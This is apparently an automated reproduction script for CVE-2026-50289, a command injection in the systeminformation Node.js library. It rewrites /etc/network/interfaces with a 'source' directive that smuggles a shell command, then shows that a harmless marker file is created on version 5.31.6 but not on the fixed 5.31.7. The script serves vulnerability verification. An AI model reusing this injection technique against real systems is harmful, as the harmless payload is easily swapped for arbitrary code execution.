#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-50289 - systeminformation networkInterfaces() command injection
# =============================================================================
# On Linux, the public networkInterfaces() API reaches lib/network.js ->
# getLinuxDHCPNics() -> checkLinuxDCHPInterfaces('/etc/network/interfaces').
# The vulnerable path reads /etc/network/interfaces, follows Debian/Ubuntu
# "source" directives recursively, and interpolates the parsed source path
# UNQUOTED into a shell command executed via execSync():
#
#     const cmd = `cat ${file} 2> /dev/null | grep 'iface\\|source'`;
#     const lines = execSync(cmd, util.execOptsLinux).toString().split('\n');
#
# Because ${file} is treated as shell text rather than a filename argument,
# shell metacharacters inside a source target execute arbitrary commands as
# the Node.js process user.
#
# Fixed in 5.31.7 (commit bbfddde) by replacing execSync(cat ...) with
# fs.readFileSync(file).
#
# This script:
#   1. Builds the vulnerable release (5.31.6, da1cbf5) and fixed release
#      (5.31.7, bbfddde) from the real source tree.
#   2. Crafts a controlled /etc/network/interfaces source chain containing a
#      benign DHCP source (functional control) and a source target with shell
#      metacharacters that create a harmless marker oracle under /tmp.
#   3. Invokes ONLY the public networkInterfaces() API on each build.
#   4. Confirms the marker is created on 5.31.6 and absent on 5.31.7 while the
#      benign source still parses.
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
: > "$LOG"

log() { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$LOG"; }
logf() { echo "[$(date -u +%H:%M:%S)] $*" >> "$LOG"; }

FIXED_COMMIT="bbfddde48672d0ee124fefdb3cb4442fd9dd4f03"
VULN_COMMIT="da1cbf5eb09907cf5c3431f4c9ea441b7a227617"   # v5.31.6 (parent of fix)

MARKER="/tmp/pruva_cve_2026_50289_marker"
BENIGN_IFACES_DIR="/etc/network/interfaces.d"
BENIGN_CFG="$BENIGN_IFACES_DIR/pruva_benign.cfg"
INTERFACES_FILE="/etc/network/interfaces"
INTERFACES_BACKUP="$LOGS/interfaces.backup"

# --- Resolve repo location --------------------------------------------------
CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CTX" ]; then
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX" 2>/dev/null || true)"
  if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo/.git" ]; then
    REPO="$CACHE_DIR/repo"
    log "Reusing prepared project cache repo at $REPO"
  fi
fi

if [ -z "$REPO" ]; then
  REPO="$ROOT/artifacts/systeminformation"
  log "No prepared cache; cloning repo to $REPO"
  git clone --quiet https://github.com/sebhildebrandt/systeminformation.git "$REPO" >>"$LOG" 2>&1
fi

cd "$REPO"
git fetch --quiet origin >>"$LOG" 2>&1 || true

log "Repo ready at $REPO"

# --- Helpers ----------------------------------------------------------------
setup_source_chain() {
  # Craft /etc/network/interfaces with:
  #   - a benign source directive pointing to a real, readable DHCP config
  #     (functional control proving source traversal still works)
  #   - a malicious source directive whose target contains shell
  #     metacharacters. The target is a single whitespace-delimited token for
  #     JS line.split(' ')[1], using a TAB (not space) inside the payload so
  #     the shell still tokenises "touch <MARKER>".
  log "Setting up controlled /etc/network/interfaces source chain"
  if [ -f "$INTERFACES_FILE" ]; then
    sudo cp "$INTERFACES_FILE" "$INTERFACES_BACKUP" 2>/dev/null || true
    log "Backed up existing $INTERFACES_FILE to $INTERFACES_BACKUP"
  fi
  sudo mkdir -p "$BENIGN_IFACES_DIR"

  # Benign DHCP interface config (functional control)
  sudo tee "$BENIGN_CFG" >/dev/null <<'EOF'
auto pruva-benign0
iface pruva-benign0 inet dhcp
EOF

  # /etc/network/interfaces with benign + injected source directives.
  # The injected source target uses a literal TAB between "touch" and the
  # marker path so it survives JS line.split(' ')[1] as one token but is
  # tokenised by the shell as two words.
  printf 'auto lo\niface lo inet loopback\nsource %s\nsource /tmp/pruva_inj_nonexist;touch\t%s\n' \
    "$BENIGN_CFG" "$MARKER" | sudo tee "$INTERFACES_FILE" >/dev/null

  log "Contents of $INTERFACES_FILE:"
  cat -A "$INTERFACES_FILE" | sed 's/^/    /' | tee -a "$LOG" >/dev/null
}

restore_source_chain() {
  log "Restoring original /etc/network/interfaces"
  if [ -f "$INTERFACES_BACKUP" ]; then
    sudo cp "$INTERFACES_BACKUP" "$INTERFACES_FILE" 2>/dev/null || true
  else
    sudo rm -f "$INTERFACES_FILE" 2>/dev/null || true
  fi
  sudo rm -f "$BENIGN_CFG" 2>/dev/null || true
}

run_api() {
  # $1 = role label, $2 = commit to test
  local role="$1"
  local commit="$2"
  local out="$LOGS/${role}_api.log"
  logf "=== $role : checking out $commit ==="
  git checkout --quiet "$commit" 2>>"$LOG"
  local resolved
  resolved="$(git rev-parse HEAD)"
  local tag
  tag="$(git describe --tags 2>/dev/null || echo 'untagged')"
  logf "$role resolved HEAD=$resolved tag=$tag"

  rm -f "$MARKER"
  logf "$role marker pre-state: absent (forced clean)"

  # Invoke ONLY the public networkInterfaces() API.
  # Use timeout to bound the call; the API is async (returns a Promise).
  timeout 60 node -e '
    const si = require(process.argv[1]);
    const fs = require("fs");
    const marker = process.argv[2];
    si.networkInterfaces(true)
      .then(function(r) {
        const exists = fs.existsSync(marker);
        console.log("NETWORK_INTERFACES_RESOLVED");
        console.log("marker_exists=" + exists);
        console.log("iface_count=" + (r && r.length ? r.length : 0));
        process.exit(0);
      })
      .catch(function(e) {
        const exists = fs.existsSync(marker);
        console.log("NETWORK_INTERFACES_ERROR");
        console.log("marker_exists=" + exists);
        console.log("err=" + (e && e.message ? e.message : String(e)));
        process.exit(0);
      });
  ' "$REPO" "$MARKER" >"$out" 2>&1 || true

  logf "$role raw output:"
  sed 's/^/    /' "$out" >> "$LOG"

  if [ -f "$MARKER" ]; then
    logf "$role RESULT: marker CREATED (command injection observed)"
    echo "true"
  else
    logf "$role RESULT: marker ABSENT (no command injection)"
    echo "false"
  fi
}

# --- Main proof sequence ----------------------------------------------------
setup_source_chain

VULN_CREATED="$(run_api "vulnerable_5_31_6" "$VULN_COMMIT")"
FIXED_CREATED="$(run_api "fixed_5_31_7" "$FIXED_COMMIT")"

restore_source_chain

log "=== SUMMARY ==="
log "vulnerable 5.31.6 marker created : $VULN_CREATED"
log "fixed     5.31.7 marker created : $FIXED_CREATED"

VULN_BOOL="false"; FIXED_BOOL="false"
[ "$VULN_CREATED" = "true" ] && VULN_BOOL="true"
[ "$FIXED_CREATED" = "true" ] && FIXED_BOOL="true"

CONFIRMED="false"
if [ "$VULN_BOOL" = "true" ] && [ "$FIXED_BOOL" = "false" ]; then
  CONFIRMED="true"
  log "VERDICT: CONFIRMED - command injection via public networkInterfaces() on 5.31.6; absent on fixed 5.31.7"
else
  log "VERDICT: NOT CONFIRMED - vuln=$VULN_BOOL fixed=$FIXED_BOOL"
fi

# --- Write runtime manifest -------------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED" "$VULN_BOOL" "$FIXED_BOOL" "$LOG" <<'PY'
import json, sys
path, confirmed, vuln, fixed, logp = sys.argv[1:6]
def b(s): return s == "true"
manifest = {
  "entrypoint_kind": "function_call",
  "entrypoint_detail": "public si.networkInterfaces() API (library_api) on Linux, reaching checkLinuxDCHPInterfaces source-directive shell sink",
  "service_started": False,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["node", "systeminformation lib/network.js", "child_process.execSync", "/bin/sh"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/vulnerable_5_31_6_api.log",
    "logs/fixed_5_31_7_api.log",
    "logs/interfaces.backup"
  ],
  "notes": "confirmed=%s vulnerable_marker_created=%s fixed_marker_created=%s; harmless marker oracle at /tmp/pruva_cve_2026_50289_marker created only on 5.31.6 via source-directive shell injection in checkLinuxDCHPInterfaces()" % (confirmed, vuln, fixed)
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
print("runtime_manifest written to " + path)
PY

log "Done. confirmed=$CONFIRMED"

if [ "$CONFIRMED" = "true" ]; then
  exit 0
else
  exit 1
fi
